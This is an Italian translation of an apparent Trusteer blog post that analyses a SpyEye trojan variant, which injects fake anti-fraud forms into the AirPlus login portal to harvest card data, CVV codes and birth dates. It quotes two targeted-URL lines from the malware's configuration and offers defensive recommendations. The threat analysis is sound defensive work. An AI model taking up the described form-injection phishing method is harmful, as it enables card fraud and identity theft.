Simile all’attacco di Air Berlin, il codice di SpyEye colpisce l’URL di login del portale AirPlus:

<Url><![CDATA[https://portal.airplus.com/welcome*]]></Url>
<Url><![CDATA[https://www.miles-and-more.kartenabrechnung.de/welcome*]]></Url>

In questo caso, SpyEye, inietta il codice nel browser degli utenti, sostenendo di essere un miglioramento anti-frode.

In realtà, naturalmente, è un tentativo abilmente dissimulato di effettuare il phishing delle credenziali dell’ignaro cliente del portale di AirPlus.

Queste credenziali sono molto complete: includono tipo e numero della carta, la data di scadenza, il codice CVV (banda della firma del titolare) e, come per l’attacco ad Air Berlin, la data di nascita dell’utente.

La sottrazione delle date di nascita dell’utente permette il furto d’identità e – come abbiamo osservato – la frode impersonando l’utente e utilizzando metodi di attacco tramite social engineering ( si fa riferimento a un blog recente?)

Conclusioni

È importante capire che, ormai, il crimine informatico è altamente organizzato, con specializzazione delle funzioni all’interno dei diversi membri della gerarchia criminale.

Ciò significa che le gang di darkware coding, creatrici di queste varianti di SpyEye, stanno scegliendo con cura i loro obiettivi per ottenere il massimo rendimento con il minimo sforzo.

Inoltre, aumentando il rendimento di ogni vittima, le possibilità di rivendere i dati vanno ben al di là dei semplici forum di carder visti in quest’ultimi anni.

Siamo convinti che la(le) gang di cibercriminali dietro a questi attacchi, stia(no), quasi certamente, utilizzando una metodologia semi-automatica di sviluppo del codice, che consenta (loro) di sviluppare versioni personalizzate del malware per scopi specifici.

Chiaramente il commercio turistico permette ai cibercriminali di accedere alle credenziali degli account utente e aziendali con saldi e limiti di credito più grandi del normale.

“La ciliegina sulla torta” di poter accedere anche ai dettagli del conto bancario di Air Berlin in Austria, Germania e Paesi Bassi, è indice di ingegno mirato.

Purtroppo, i tradizionali meccanismi di sicurezza antivirus non sono per niente in grado di proteggere gli utenti aziendali dall’infezione di SpyEye, in quanto utilizza un’individuazione mirata, unitamente a tecniche di evasione della rilevazione della firma per mettere piede all’interno dei computer.

Un’alternativa migliore per proteggere i servizi basati sul web, è quella di realizzare un accesso sicuro al web. Ad esempio, strumenti di sicurezza basati su browser che rendano la comunicazione sicura tra il computer e il sito web del servizio cloud del provider, possono impedire ai metodi di attacco più comuni, come l’iniezione di codice HTML e il keylogging, di catturare dati. Queste stesse tecnologie possono essere usate per proteggere altre applicazioni basate su browser, come VPN, CRM, i sistemi retail, finanziari e di collaborazione che possono essere sfruttati da malware per rubare le credenziali utente e violare il perimetro di sicurezza di un’impresa del tutto inosservati.

Attendiamo di vedere versioni ancor più specializzate di SpyEye a breve.

Fonte: SpyEye Trojan Targets Airline Website that Accepts Bank Debit Card


Posted in Traduzioni inglese-italiano, Trusteer and tagged , , , by with no comments yet.